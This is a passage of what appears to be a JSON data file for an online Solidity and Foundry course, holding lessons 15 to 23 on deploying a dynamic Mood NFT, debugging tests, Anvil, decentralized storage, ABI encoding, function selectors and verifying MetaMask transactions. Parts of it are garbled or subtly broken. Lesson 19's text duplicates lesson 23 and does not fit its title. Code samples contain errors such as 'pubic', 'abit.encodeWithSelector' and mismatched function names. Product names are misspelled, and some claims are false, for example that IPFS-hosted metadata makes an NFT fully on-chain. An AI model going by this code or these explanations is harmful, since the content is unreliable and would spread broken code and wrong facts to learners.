possibilities for future interaction and personalization are limitless. We're just getting started!\n", + "updates": [] + }, + { + "lessonId": "760ee30e-0eab-4f5b-a560-27c9dc85c6ac", + "number": 15, + "title": "Create the deployment script", + "slug": "dynamic-nft-collection-deployment-script", + "folderName": "15-svg-deploy", + "description": "Guides on automating the deployment process of Mood NFTs using scripting. It covers setting up the deploy script, encoding SVGs, and testing the deployment script for effectiveness.", + "duration": 18, + "videoUrl": "6vzQV3QnurrFA01KUyu1CLVrg1iqnZr01idZOtbyNxxDA", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/15-svg-deploy/+page.md", + "markdownContent": "---\ntitle: SVG NFT Deploy Script\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## Deploying the Mood NFT Project\n\nIn this lesson, we'll automate the deployment process of the Mood NFT Project by scripting it. As you may already know, in the realm of blockchain development, scripts are super helpful to help automate repetitive processes, so let's get our hands dirty and simplify our work!\n\n## Creating the Deploy Mood NFT Script\n\nStarting off, create a new file for the deploy script named `DeployMoodNft.s.sol`. In this script file, include the SPDX License followed by the contract-deployment code, just as you typically would do in a Solidity contract.\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nimport {Script} from \"forge-std/Script.sol\";\nimport {MoodNft} from \"../src/MoodNft.sol\";\n\ncontract DeployMoodNft is Script {\n function run() external {}\n}\n```\n\nRemember we are deploying our Mood NFT, hence we'll need to import the MoodNFT contract. In our run function, it's time to set specifics on how the NFT will be deployed.\n\n## Preparing the Deploying Parameters\n\nThe Mood NFT contract accepts two parameters upon deployment: the \"sad SVG image URI\" and the \"happy SVG image URI\". Now we could hardcode these parameters into the script, but to make our lives a little easier and our script a little smarter, we're going to create a function that automatically encodes our SVGs.\n\n```js\nfunction svgToImageURI(\n string memory svg\n ) public pure returns (string memory) {\n // example:\n // ''\n // would return \"\"\n string memory baseURL = \"data:image/svg+xml;base64,\";\n string memory svgBase64Encoded = Base64.encode(\n bytes(string(abi.encodePacked(svg)))\n );\n return string(abi.encodePacked(baseURL, svgBase64Encoded));\n }\n```\n\nThis function will intake an SVG file as text, encode it into a base 64 formatted string, then return it. To do this, we need to import the OpenZeppelin base64 library which allows us to encode our SVGs on chain.\n\n```js\nimport { Base64 } from \"@openzeppelin/contracts/utils/Base64.sol\";\n```\n\n## Implementing the Encoding Function\n\nThe SVG to Image URI function first defines a base URL.\n\n```js\nstring memory baseURL = \"data:image/svg+xml;base64,\";\n```\n\nNext, it encodes the SVG provided, concatenates that encoded string to the base URL, and voila, we have our encoded SVG string ready to be passed to the Mood NFT contract.\n\n```js\nstring memory svgBase64Encoded = Base64.encode(\n bytes(string(abi.encodePacked(svg)))\n );\n```\n\n\n\n## Reading in SVG Files\n\nNow that we have the means to encode SVG files, it's time to read the actual files in our Foundry scripting environment. As you may know, Foundry provides an awesome utility function named `readFile` which we will employ.\n\nBut before we do that, we need to set appropriate permissions within the \"foundry.toml\" file in our project to allow the script to read from specified directories.\n\n```makefile\n[profile.default]\nfs_permissions = [{ access = \"read\", path = \"./images/\"}]\n```\n\nAt this point, it's important to note that in settings and permissions, try to make `ffi = false` whenever you can for security reasons.\n\nNow that we've taken care of the permissions business, we can use the `readFile` function to read in our SVG files.\n\n```js\nstring memory sadSVG = VM.readFile(\"images/sad.svg\");string memory happySVG = VM.readFile(\"images/happy.svg\");\n```\n\n## Finalizing the Deployment Script\n\nFinally, we can proceed to deploy our Mood NFT with the encoded SVG URIs.\n\n```js\n string memory sadSvg = vm.readFile(\"./images/dynamicNft/sad.svg\");\n string memory happySvg = vm.readFile(\"./images/dynamicNft/happy.svg\");\n```\n\nAnd return the created Mood NFT for our test functions to utilize.\n\n```js\nreturn moodNFT;\n```\n\n## Testing our Deploy Script: Integration Tests vs Unit Tests\n\nLastly, but certainly not least, we test our deploy script. It will be best to implement both integration tests and unit tests for our script.\n\n\n\nThat's it for this tutorial! Enjoy your automated Mood NFT deployment. Write in the comment section for any questions, suggestions, or just to share your experience!\n", + "updates": [] + }, + { + "lessonId": "23802ffc-f88d-4bc6-85bf-c7633f5e963e", + "number": 16, + "title": "Debug your smart contract", + "slug": "debug-solidity-smart-contract", + "folderName": "16-svg-debug", + "description": "Guides on automating the deployment process of Mood NFTs using scripting. It covers setting up the deploy script, encoding SVGs, and testing the deployment script for effectiveness.", + "duration": 6, + "videoUrl": "XLtda7pt6P00w8RXnm2mkGOTtJCvKJtsTJznic015rNMk", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/16-svg-debug/+page.md", + "markdownContent": "---\ntitle: SVG NFT Debugging\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nWelcome to a new highly detailed blog post on debugging, testing, and creating automated scripts for smart contracts. We will walk you through the process of running and debugging tests using the Forge test tool. We'll also give you some examples of integrating unit testing and integration testing. Buckle up as this is going to be an interesting journey through the jungle of smart contract testing.\n\n\n\n## Solving the URI Mystery\n\nAt this point, we decided to take a more detailed look at the `sadSvgUri`. We considered that the `tokenUri` and the `sadSvgUri` were not supposed to be the same because one is an image `Uri` while the other isn't. After a bit of back-and-forth, we figured out the `tokenUri` was supposed to equal our `Sad SVG Uri`.\n\n\n\nSo in order to achieve that we need to assert the actual token URI correspond to the sad SVG URI. We added the following code to our test script:\n\n```javascript\nfunction testFlipTokenToSad() public {\n vm.prank(USER);\n moodNft.mintNft();\n\n vm.prank(USER);\n moodNft.flipMood(0);\n\n assert(\n keccak256(abi.encodePacked(moodNft.tokenURI(0))) ==\n keccak256(abi.encodePacked(SAD_MOOD_URI))\n );\n }\n```\n\nWith the mystery solved, we performed another run and successfully passed all tests.\n\n## Unit Test Versus Integration Test\n\nIn a nutshell, the process of testing we've just gone through is a good demonstration of the differences between a unit test and an integration test.\n\n- **Unit Test**: In our case, it was testing the specific function on our Deploy Mood NFT and Mood NFT.\n- **Integration Test**: This type of test combined the deployer with the Mood NFT and Basic NFT, ultimately showing what an integration test should look like.\n\n## Script Writing to Automate Deployment and Testing\n\nDon't want to manually type all of those Forge script commands? Let's walk through the process of automating those actions for deployment and testing.\n\nIn our case, we created a script that, once run, deploys both of our NFTs and even flips the mood of our NFT. You can add this script in your make file. Be sure to create scripts for minting the Mood NFT and flipping the Mood NFT too. Even though they are skipped in this post, they are also crucial for a complete automation setup.\n\n## Working on Code Coverage\n\nLastly, we highly recommend improving your code coverage. Our current coverage looks good for Basic NFT and Mood NFT, but scripts' coverage can certainly be improved. Writing comprehensive tests boosts your confidence that the code will function as expected.\n\nTo check code coverage, run:\n\n```bash\nforge coverage\n```\n\nThis will give you a detailed report of the coverage for each code section.\n\n## Wrapping Things Up\n\nWe believe that this practice exercise will help you appreciate the importance of testing, debugging and automating scripts when working with smart contracts. It's a lot more fun to run a single command that deploys, tests and completes your NFT than to manually type each command individually.\n\nRemember to constantly evaluate your test coverage and keep it high. If you do, you will significantly increase your confidence that your code performs exactly as expected. Happy testing!\n", + "updates": [] + }, + { + "lessonId": "b715cff6-2fe2-4261-a51e-6f8b065a5b95", + "number": 17, + "title": "Deploy and interact using Anvil", + "slug": "svg-anvil", + "folderName": "17-svg-anvil", + "description": "This lesson covers deploying and interacting with NFTs using Anvil, a local Ethereum network. It includes setting up MetaMask with Anvil, deploying Mood NFTs, minting, and flipping their mood, demonstrating the process of NFT interaction on a local blockchain network.", + "duration": 6, + "videoUrl": "pVIQhmjo24kP42uDoVd3m5ysNIm2Rsv6oXG02WiemXDQ", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/17-svg-anvil/+page.md", + "markdownContent": "---\ntitle: SVG NFT Anvil Demo\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## Deploying and Flipping a 100% On-Chain NFT on Anvil\n\nWelcome to this exciting tutorial where we will deploy and flip an on-chain NFT minted on our own local network, Anvil. Experience firsthand the speed and efficiency of Anvil, with all the steps demonstrated live in our MetaMask!\n\n## Setting up MetaMask with Anvil\n\nFor live interactions with our NFT, we'll utilize MetaMask. Follow these steps to set up MetaMask with your Anvil chain:\n\n1. Within MetaMask, choose `Add Network`.\n2. Edit the settings to coincide with your Anvil chain.\n3. Reset your Anvil chain to reflect these new settings.\n4. Verify your address is listed in the account. If not, import one from one of the private keys.\n5. Clear your activity tab- Go to your Account Settings -> Advanced -> Clear activity tab.\n\nWith these steps, your MetaMask is primed and ready for the Mood NFT.\n\n\n\n## Deploying the Mood NFT on Anvil\n\nWith our local chain in place and MetaMask set up, we're ready to deploy the Mood NFT on Anvil. Run the `Make Deploy Mood` command and if successful, you'll get a contract address for your Mood NFT.\n\n```makefile\ndeployMood:\n\t@forge script script/DeployMoodNft.s.sol:DeployMoodNft $(NETWORK_ARGS)\n```\n\n## Interacting with the Mood NFT\n\nReady to mint an NFT and interact with it? We'll utilize `cast` to accomplish this:\n\n1. Send a `mint NFT` call to your contract address.\n2. Ensure to pass in the private key from your account that has some money in it.\n3. Use the Anvil RPC URL from your `make` file.\n4. Execute the mint command with the right private key and, Voila- You've minted an NFT!\n\n```makefile\nmintMoodNft:\n\t@forge script script/Interactions.s.sol:MintMoodNft $(NETWORK_ARGS)\n```\n\nYou can then import the NFT into MetaMask using the contract address. Add the Token ID and behold- your Mood NFT is live and ready for action!\n\n## Flipping the Mood NFT\n\nPerhaps one of the most exciting features of our Mood NFT is the ability to flip its mood. In our command window, we call the `Flip Mood` function on our Token Zero, reflecting the change in MetaMask.\n\nRemove the NFT and re-add it using the contract address. Your Mood NFT strikes a different mood!\n\n\n\n## Wrapping up\n\nWe've created, deployed, and minted an NFT on our own network with Anvil, and interacted with it through MetaMask! You could replicate these steps to deploy on a testnet, or even a main net.\n\nAs a best practice, always aim to keep your NFTs decentralized. Use IPFS to store metadata regarding NFTs to ensure they're 100% on-chain, as opposed to being centrally controlled via websites or similar platforms.\n\nCongratulations and here's to your adventures in creating and flipping mood with NFTs!\n", + "updates": [] + }, + { + "lessonId": "5da078de-11b0-4a3e-bf28-4c5e3249842b", + "number": 18, + "title": "Introduction to Filecoin and Arweave", + "slug": "introduction-to-filecoin-arweave", + "folderName": "18-filecoin-arweave", + "description": "Introduces Filecoin and Arweave, two decentralized storage solutions for NFT metadata. The lesson explores their features, benefits, and use cases, with insights from an expert at the Filecoin Foundation, highlighting the future of decentralized data storage.", + "duration": 8, + "videoUrl": "Y6s5500CAKyopJFvpNK4XNPzcNXqYClZCrUUKHrCHDpw", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/18-filecoin-arweave/+page.md", + "markdownContent": "---\ntitle: Filecoin & Arweave\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nIn today's rapidly developing digital world, decentralized storage solutions are increasingly becoming the go-to for storing NFT (Non-Fungible Tokens) metadata. Among these solutions, Rweave and Filecoin stand out as the most popular. They present exciting opportunities for users to deploy their NFT metadata in a flexible and secure manner.\n\nWe'll explore these innovative storage platforms, diving deep into their core principles and benefits. Moreover, we'll also gain insights from a special guest, Ali, a developer relations engineer at the Filecoin Foundation.\n\n## Decentralized Storage Solutions - Rweave and Filecoin\n\nTo help you understand the concept of storing NFT metadata using decentralized storage solutions, we need to focus on two key players in the field - Rweave and Filecoin.\n\n1. **Arweave**\n\nArweave is a decentralized storage network that makes data immune to modification, ensuring data validity over very long periods. This is an ideal solution for anyone looking for a permanent database.\n\n2. **Filecoin**\n\nProviding reliable and cost-effective storage, Filecoin is a decentralized protocol that propels the open-market for data storage services.\n\nA great tool to help deploy your NFT metadata onto decentralized storage solutions such as Filecoin is **NFT Storage**. This site makes the deployment process seamless and smooth. You're not limited to SVGs on-chain; you can also upload actual images onto these decentralized storage solutions.\n\n## An Expert's Take: The Vision of Filecoin\n\nBringing expert insight into this subject, we welcome Ali from the Filecoin Foundation. Ali shares her view on the mission of Protocol Labs and Filecoin, as well as the vision they have to democratize the internet and web.\n\nShe elaborates on the growing importance of data in our daily lives and the tech stack, reinforcing its critical role in the web 3.0 revolution.\n\n\n\n## Filecoin: The Data Storage Revolution\n\nFilecoin, since its launch in 2020, has been working tirelessly towards decentralizing the data infrastructure for the internet. Their layer one solution, Filecoin Virtual Machine (FVM), has launched some impressive functionalities.\n\n- **Filecoin Data Deal Making:** It involves setting up an agreement between a client and a miner to store data.\n- **Tokenization of Data Sets:** With tokenization, data can be protected securely and transparently.\n- **Data DAOs:** Filecoin's on-chain tools allow data to be collectively owned and governed by an organization (DAO - Decentralized Autonomous Organization).\n\nAnd many more use cases are being developed, showcased in the [Filecoin docs](https://docs.filecoin.io/).\n\nTo build a robust computation over all the useful data stored in Filecoin, they are focusing on layer Two (L2) and computation over data projects like IPC (Interplanetary Consensus Project) and Bacquio.\n\nTo get started with Filecoin, try deploying a smart contract to FVM, or use the storage helper - Web3 Storage or NFT Storage, to engage with the technology directly.\n\n## The Role of ABI Encode Pack\n\nBut, what does all this mean, if we haven’t covered what Abi encode pack is and how it works? The Abi encode pack is an essential Ethereum function that we've been using throughout this course. It is used to define how data is formatted for the Ethereum Virtual Machine (EVM).\n\nIn our following lessons, we'll explain Abi encode pack in detail using live examples. To get a head start, you can find all the course codes and images in the SRC sublesson.\n\nIn conclusion, the embrace of decentralized storage solutions like Rweave and Filecoin opens up a myriad of opportunities and functionalities for users to deploy and manage NFT metadata. It’s indeed an intriguing space with much to offer, and it’s only bound to grow more prevalent in the future.\n\nStay tuned for more information on the complexities of working with and understanding these storage solutions. Happy learning!\n", + "updates": [] + }, + { + "lessonId": "31cb90f0-4c98-4621-9742-ac0b6cc989a2", + "number": 19, + "title": "Advanced EVM - Opcodes, calling, etc", + "slug": "evm-opcodes-advanced", + "folderName": "19-advanced-evm", + "description": "Delves into advanced Ethereum Virtual Machine (EVM) concepts, focusing on opcodes and function calls. It demonstrates decoding transaction data using MetaMask and highlights the importance of verifying transactions to ensure safety in the cryptocurrency world.", + "duration": 23, + "videoUrl": "yxZ7H4009019A5XRsCm02H3fSJT7g5luBlZtzrO00U600woo", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/19-advanced-evm/+page.md", + "markdownContent": "---\ntitle: Advanced EVM - Opcodes, Calling, and Encoding\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nToday, we're embarking on an exciting journey to unveil the mystery behind decoding transaction data using MetaMask. This wallet is used to perform many activities in the cryptocurrency world, but one activity that may seem challenging is the \"decoding of transaction data.\" Here, we explain this process using Wet, a contract that wraps native ETH into an ERC-20 token.\n\n## Setting up MetaMask\n\nThe first step in our journey is as easy as pie. It's the setup phase which calls for the connection to MetaMask. Here, we will be using the Sepolia Contract, as it is one of the existing contracts.\n\nFor this stage, all you need to do is:\n\n1. Navigate to your contract.\n2. Click on \"Write Contract.\"\n3. Connect to web3 and open up your MetaMask.\n\nIn this scenario, we will be calling the \"Transfer From\" function. As an aside, you should note that at times, MetaMask may fail to identify the function you are trying to call—this is where the fun begins.\n\n\n\n## Variance Check\n\nFrom there, you need to verify if your transaction data is accurate.\n\nTo do this, you decode the function you’re calling and its parameters by pasting the hex string from the transaction into the call data decode command.\n\nWhen you complete these steps, MetaMask will display your decoded data. This data keeps the essence of your transaction, the information about the function you're calling and the parameters it utilizes.\n\n\n\n## Performing Transactions Safely\n\nThe said steps are applicable when performing transactions of any form in the cryptocurrency world.\n\n### An example:\n\nLet's say you wish to swap ETH for a token using Uniswap. After initiating the \"swap\" process, MetaMask shows you a transaction, but are you sure it's the transaction you want to make?\n\nTo confirm, you follow the steps previously outlined:\n\n1. Check your contract addresses.\n2. Read the function of the contract.\n3. Check the function selector.\n4. Decode the call data parameters.\n\nBy doing so, you can be utterly sure your wallets are performing the expected transactions.\n\nMeanwhile, it's important to note that some upcoming projects like Fire are working on the creation of wallets that can automatically decode transaction data. Hopefully, this will make for safer transactions and effectively eliminate the chances of falling victim to malicious transactions.\n\n## Wrapping Up\n\nAlways remember to verify the details of your transactions when dealing with large amounts of money in the cryptocurrency world, as transactions cannot be undone. With this guide, sending transactions, especially on MetaMask, should be a walk in the park. Stay safe and Happy Trading!\n", + "updates": [] + }, + { + "lessonId": "523a059e-80b6-472f-a1d4-5d8cd49726a8", + "number": 20, + "title": "Advanced EVM - Encoding", + "slug": "evm-encoding", + "folderName": "20-evm-encoding", + "description": "Explores ABI encoding and decoding in the context of EVM. The lesson breaks down the process of converting variables for use in transaction data fields, emphasizing the importance of understanding bytecode and binary for blockchain transactions.", + "duration": 6, + "videoUrl": "2Kpc41cTMekmo7HM33oOh4R0163LvpF82Vn601vw1dmDw", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/20-evm-encoding/+page.md", + "markdownContent": "---\ntitle: Advanced EVM - Encoding functions directly\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n### Introduction\n\nToday, we're going to take a deep dive into a concept that's integral to interacting with Ethereum and any EVM-compatible chain - ABI encoding and decoding. With the basics of this concept under our belt, we'll see how it aligns itself to the bytecode the Ethereum Virtual Machine (EVM) uses. At its core, this process involves converting different variables into binary or other such low-level byte representation for use in transaction data fields.\n\n\n\nLet’s break down some vital elements before we delve into the intricacies of ABI encoding and decoding.\n\n### Understanding Bytecode and Binary\n\nBytecode and binary are low-level programming languages that computers or the Ethereum network use for their transactions. This strange series of characters, which seem utterly incoherent to us, are but different codes that execute various functions in the Ethereum Blockchain.\n\n### Contract Deployment and Function Calls\n\nWith a better grasp of binary and bytecode, let's investigate what happens when we deploy a contract or make a function call. Think of the `data` field in the contract deployment as the keeper of all the binary code of the contract. In a function call, the `data` field contains the function to call at the given address.\n\nIf we examine _Etherscan_, a popular Ethereum Blockchain explorer, we can look at the input data of a transaction. This seemingly indecipherable, convoluted bit of 'hex' or binary is the `data` field of the transaction. Essentially, this is what the EVM uses as a guide to know which function to execute.\n\n### Populating the 'Data' Piece\n\nThis knowledge equips us with a seemingly bizarre ability. Whenever we send a transaction, we can fill in the `data` field ourselves with the binary code we want to execute. If we glance back at one of the previous sections where we discussed Ethers, we can use our understanding of function calls and binary to populate this `data` field with a function that we want to call, in binary format.\n\nAt first glance, this might sound unappealing. After all, why would someone desire to manually feed in binary code into the `data` field when we have the ABI and other interfaces designed to make our lives easier? The answer lies in the flexibility this presents. Perhaps all you have is the function name, or maybe, you only have the parameters you want to send. If you'd like your code to make arbitrary function calls or perform intricate tasks, then manually defining your `data` field becomes an invaluable asset in your development arsenal.\n\n### Low-Level Keywords: 'Call' and 'Static Call'\n\nWith this newfound knowledge, how do we go about challenging the norms and making these custom `data` calls? Thankfully, Solidity extends some low-level keywords just for us: `call` and `static call`.\n\nThe `call` keyword lends us the ability to call functions and change the state of the blockchain. On the other hand, `static call` allows us to call 'view' or 'pure' functions, which don't alter the state of the blockchain and just return a value.\n\nIf we modify the data in our `call` function using these parameters, we'll find that we can influence the value of our transactions directly. Moreover, the `gasLimit` and `gasPrice`, which are integral to the financial aspect of transactions, can also be changed.\n\n### Using Parentheses to Add Data\n\nIf we pinpoint the location of the parentheses in a typical `call`, we come across a region where we can add our `data`. When specified, instead of merely sending money to a function, we can use this space to `call` different functions we desire.\n\n\n\nIn conclusion, ABI encoding and decoding enable us to have more control over our transactions and function calls. Therefore, understanding the low-level process enables not only a broader understanding of how Ethereum works but also opens the door to more complex and custom transaction handling in the blockchain.\n", + "updates": [] + }, + { + "lessonId": "166753f8-2135-4707-b712-c20471474ac9", + "number": 21, + "title": "Advanced EVM - Recap", + "slug": "avanced-evm-recap", + "folderName": "21-evm-recap", + "description": "A recap of the advanced EVM concepts covered in the course. It revisits topics like string combination, low-level concepts, binary encoding, and the use of the 'call' function in Solidity, summarizing the key takeaways from the advanced sections of the course.", + "duration": 2, + "videoUrl": "LambPv2u0201jvTp8fbSdubbt3MEparXBXSgBwCRIclJE", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/21-evm-recap/+page.md", + "markdownContent": "---\ntitle: Advanced EVM - Encoding functions recap\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nHello there! Trust me when I say we've covered a lot of ground together on this fascinating journey into the world of Solidity. But fear not, we're not done unraveling its complexities and building our understanding one block at a time.\n\n## Quick Recap\n\nBefore we dive into today's topic – the magic of call function, let's do a quick refresher on what we've explored in our previous discussions.\n\n### Combining Strings\n\nYou remember how we’ve talked about combining strings with the syntax like `Abi.encodePacked()` and then typecast it to a string, right? And you’ll recall how we observed that in newer versions of Solidity, the syntax looks something like `string(\"hi mom, miss you\")`. It's important to note that this works well in the newer versions, but might throw an error in the older Solidity versions.\n\n### Understanding Low-Level Concepts\n\nWe also took a deep dive into some low-level concepts, didn't we? We learnt about compiling our contracts, dealing with the mysterious ABI file and that weird binary thing (you know, that string of numbers and letters that makes our heads spin!). When we deploy a contract, this obscure code is what gets sent in the 'data' field of our contract creation transaction.\n\nFor contract creations, the data is populated with binary code. When it comes to function calls, the data is used to define what functions need to be called and with what parameters. But fret not, this is precisely what we're prepping ourselves to learn next!\n\n### Decoding the Enigma of Binary Encoding\n\nRemember how we can encode just about anything we want into this 'number and letter' code to save space through a method called `encodePacked`? We also learnt we can decode stuff that's been encoded, although we can't decode stuff that was encoded with the `encodePacked` method. Interesting, isn't it? We mastered multi encoding and then multi decoding, thus adding several cool tricks to our Solidity hats!\n\n### Introducing the Call Function\n\nOnwards, we analyze the power of the 'call' function. We realized that we can add data in the call function to make any call we want to any smart contract. Powerful, isn’t it?\n\n\n\n## Next Up: Handling the Call Function\n\nI bet you're raring to go now! So, let's deep dive into this exciting concept of how to use the 'call' function to make any calls we want to any smart contract.\n\nBefore you head out though, now's a great time to take that much-needed break. We just went over some brain-racking concepts. And like I always say, it's absolutely fine if you don't get everything the first time around. It's a complex subject and we're here for the entire marathon, not just the sprint. So feel free to revisit these ideas at your own pace and keep exploring this fascinating world of Solidity. Until next time!\n", + "updates": [] + }, + { + "lessonId": "b6e9292c-29ee-4a69-8a29-910fd5b8eca3", + "number": 22, + "title": "EVM signatures selectors", + "slug": "evm-signatures-selectors", + "folderName": "22-evm-signatures-selectors", + "description": "Focuses on EVM encoding signatures and selectors. The lesson explains how to populate the data field in function calls, the role of function selectors, and the use of ABI to call functions without explicit interface definitions.", + "duration": 15, + "videoUrl": "WUsE7MASeXwiqPNpXCpxLFo023JuXcxqKE7dDMI02a00IE", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/22-evm-signatures-selectors/+page.md", + "markdownContent": "---\ntitle: Advanced EVM - Encoding Signatures & Selectors\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nWelcome back! Having discussed encoding before, let's now take our discussion a little further and understand how to populate the data field in a function call.\n\nIn essence, we will learn how to simplify transactions at the base level by means of binary, bytes, and hexadecimal to interact with smart contracts. Getting to grips with these concepts will allow us to emulate what the blockchain does at the fundamental level. Let's dive in and commence this learning journey.\n\n## Creating a New File and Setting Up\n\nTo kick things off, we'll create a new file called _call anything. sol_. We start with an SPDX license identifier of MIT and proceed to break down the code on this file.\n\nThe first thing to note is that to call a function with just the data field of the function call, we need to encode the function name & its parameters. When a function is called, we specify the function name and the parameters.\n\nThese need to be encoded down to the binary level to allow EVM (Ethereum-based smart contracts) and Solidity to comprehend what's happening.\n\n## Understanding Function Selectors and their Role\n\nTo achieve this, we need to delve into a couple of concepts. The first aspect relates to what is known as the 'function selector'. The function selector happens to be the first four bytes of the 'function signature'.\n\nThe function signature is essentially a string defining the function name and parameter. If 'transfer' is a function, for instance, it's going to have a function signature and will accept an address and a UN 256 as inputs.\n\nTo understand Solidity better, let's take a look at the bytecode and binary code. A function selector like 'transfer' informs Solidity to execute the transfer function. One of the ways to get the function selector is by encoding the function signature and grabbing its first four bytes.\n\n## Setting Up the Contract\n\nLet's now create the contract for our exercise with Solidity 0.8.7. We'll call this contract 'call anything'. With two storage variables in place, we have our function set up called 'transfer'.\n\nNotice that while the transfer function normally deals with an ERC-20 transfer, we are using it here with an address and a UN 256 amount. The idea is to set these values and work with the function to understand how it impacts our output.\n\nTo achieve this, we will create a function to get that function selector.\n\n```js\nfunction getSelectorOne() public pure returns(bytes4 selector){\n selector = bytes4(keccak256(bytes(\"transfer(address,uint256)\")));\n}\n```\n\nOnce we have compiled our code and run it, we access the function selector by clicking on 'getSelector1'. This provides us with the bytes that informs our Solidity contract that we refer to the transfer function with an address and a uint256 as input parameters.\n\n## Encoding The Parameters\n\nThe next step in this process involves encoding the parameters with our function selector.\n\n```js\nfunction getDataToCallTransfer(address someAddress, uint256 amount) pubic pure returns(bytes memory){\n return abit.encodeWithSelector(getSelector1(), someAddress, amount);\n}\n```\n\nABI (Application Binary Interface) plays a key role here. ABI is instrumental in ensuring that different system components interact seamlessly with each other. Here, it encodes the function selector and the arguments and then attaches the encoding to the specified four-byte selector.\n\nCompiling and running it helps us see how all the encoded data fits into the transaction data field. This further facilitates the contract in calling the transfer function and passing an address and an amount.\n\n## The Power of ABI to Call a Function\n\nWith these aspects in place, we can now use ABI to call functions without explicitly having to mention the function. We can create a function that calls the transfer function by encoding all necessary parameters.\n\n```js\nfunction callTransferFunctionDirectly(address someAddress, uint256 amount) public returns(bytes4, bool){\n (bool success, bytes memory returnData) = address(this).call(\n //getDataCallTransfer(someAddress, amount)\n abi.encodeWithSelector(getSelectorOne(), someAddress, amount)\n );\n return(bytes4(returnData), success);\n}\n```\n\nUsing the `address(this).call` method, we can directly call the function with the give parameters. The method returns a boolean value for success and the return data of the call.\n\nThis call function, while considered low-level, illustrates the ability to call the transfer function without actually having to call it directly. This demonstration lays the foundation for understanding how to interact between different contracts using ABI encoding and decoding methods.\n\n## Adjustments Using ABI: encodeWithSelector and encodeWithSignature\n\nABI function also provides us with another method: `encodeWithSignature`. This method simplifies the earlier mentioned processes as it turns the function string into a selector for us.\n\n```js\nfunction callTransferFunctionDirectly(address someAddress, uint256 amount) public returns(bytes4, bool){\n (bool success, bytes memory returnData) = address(this).call(\n //getDataCallTransfer(someAddress, amount)\n abi.encodeWithSignature(\"transfer(address,uint256)\", someAddress, amount)\n );\n return(bytes4(returnData), success);\n}\n```\n\nThis new function varies in no way from the previous function. Both functions carry out the same tasks; the only difference lies in the approach, with the second case simplifying things by combining the encoding process. This streamlines the encoding of the function selector on our behalf.\n\n### Note\n\nIt's generally considered good practice to use high-level approaches such as import interfaces rather than low-level calls as they provide the compiler's support and ensure data type matching. Despite this, mastering such low-level Solidity techniques allows us to appreciate the flexibility and versatility of the code more fully.\n\n## Recap and Next Steps\n\nThis advanced lesson on coding in Solidity reveals the importance of using encoding and decoding to affect smart contracts. It's normal to find these processes challenging initially. However, as we continue to practice, we will grow more comfortable with them.\n\nFor those who want to dig a little deeper, I recommend [Deconstructing Solidity](https://blog.openzeppelin.com/deconstructing-a-solidity-contract-part-i-introduction-832efd2d7737/) by Open Zeppelin. This article goes further into the behind-the-scenes of a contract, a useful resource if you're interested in opcodes and lower-level components.\n\nThank you for sticking with me throughout this in-depth lesson on binary encoding in Solidity. Cheers and until the next time.\n", + "updates": [] + }, + { + "lessonId": "ba69714a-ca5e-456b-9c6c-1afc337661f0", + "number": 23, + "title": "Verifying a transaction in Metamask", + "slug": "verifying-transaction-metamask", + "folderName": "23-verifying-metamask", + "description": "Provides a guide on verifying transactions in MetaMask. It includes steps to decode transaction data and emphasizes the importance of transaction verification for security purposes, especially when swapping tokens or interacting with smart contracts.", + "duration": 8, + "videoUrl": "TW5lOPKMmAPYPAlk4j77E53GKOjg7nlHmh8hY4MFtLE", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/23-verifying-metamask/+page.md", + "markdownContent": "---\ntitle: Verifying MetaMask transactions\n---\n\n_Follow along with this video._\n\n\n\n---\n\nToday, we're embarking on an exciting journey to unveil the mystery behind decoding transaction data using MetaMask. This wallet is used to perform many activities in the cryptocurrency world, but one activity that may seem challenging is the \"decoding of transaction data.\" Here, we explain this process using Wet, a contract that wraps native ETH into an ERC-20 token.\n\n## Setting up MetaMask\n\nThe first step in our journey is as easy as pie. It's the setup phase which calls for the connection to MetaMask. Here, we will be using the Sepolia Contract, as it is one of the existing contracts.\n\nFor this stage, all you need to do is:\n\n1. Navigate to your contract.\n2. Click on \"Write Contract.\"\n3. Connect to web3 and open up your MetaMask.\n\nIn this scenario, we will be calling the \"Transfer From\" function. As an aside, you should note that at times, MetaMask may fail to identify the function you are trying to call—this is where the fun begins.\n\n\n\n## Decoding the Call Data\n\nAfter setting up MetaMask, transacting, and the transaction confirmation pops up, you’re now ready to decode the transaction data.\n\nThe next step to take here is to copy the hex data and proceed to your terminal. Within your terminal, you'll use the `cast` helper. This tool comes with a vast array of commands like `call data decode` which is designed to decode ABI-encrypted input data.\n\n_Equation 1: cast call data decode SIG call data_\n\n\n\nIf your function selector doesn't match, you can use a different signature database to find the correct function. In some unusual cases, a contract might have two functions with the same signature, which is unsupported in Solidity.\n\n## Variance Check\n\nFrom there, you need to verify if your transaction data is accurate.\n\nTo do this, you decode the function you’re calling and its parameters by pasting the hex string from the transaction into the call data decode command.\n\n_Equation 2: cast call data decode SIG call data_\n\nWhen you complete these steps, MetaMask will display your decoded data. This data keeps the essence of your transaction, the information about the function you're calling and the parameters it utilizes.\n\n## Performing Transactions Safely\n\nThe said steps are applicable when performing transactions of any form in the cryptocurrency world.\n\n### An example:\n\nLet's say you wish to swap ETH for a token using Uniswap. After initiating the \"swap\" process, MetaMask shows you a transaction, but are you sure it's the transaction you want to make?\n\nTo confirm, you follow the steps previously outlined:\n\n1. Check your contract addresses.\n2. Read the function of the contract.\n3. Check the function selector.\n4. Decode the call data parameters.\n\nBy doing so, you can be utterly sure your wallets are performing the expected transactions.\n\nMeanwhile, it's important to note that some upcoming projects like Fire are working on the creation of wallets that can automatically decode transaction data. Hopefully, this will make for safer transactions and effectively eliminate the chances of falling victim to malicious transactions.\n\n## Wrapping Up\n\nAlways remember to verify the details of your transactions when dealing with large amounts of money in the 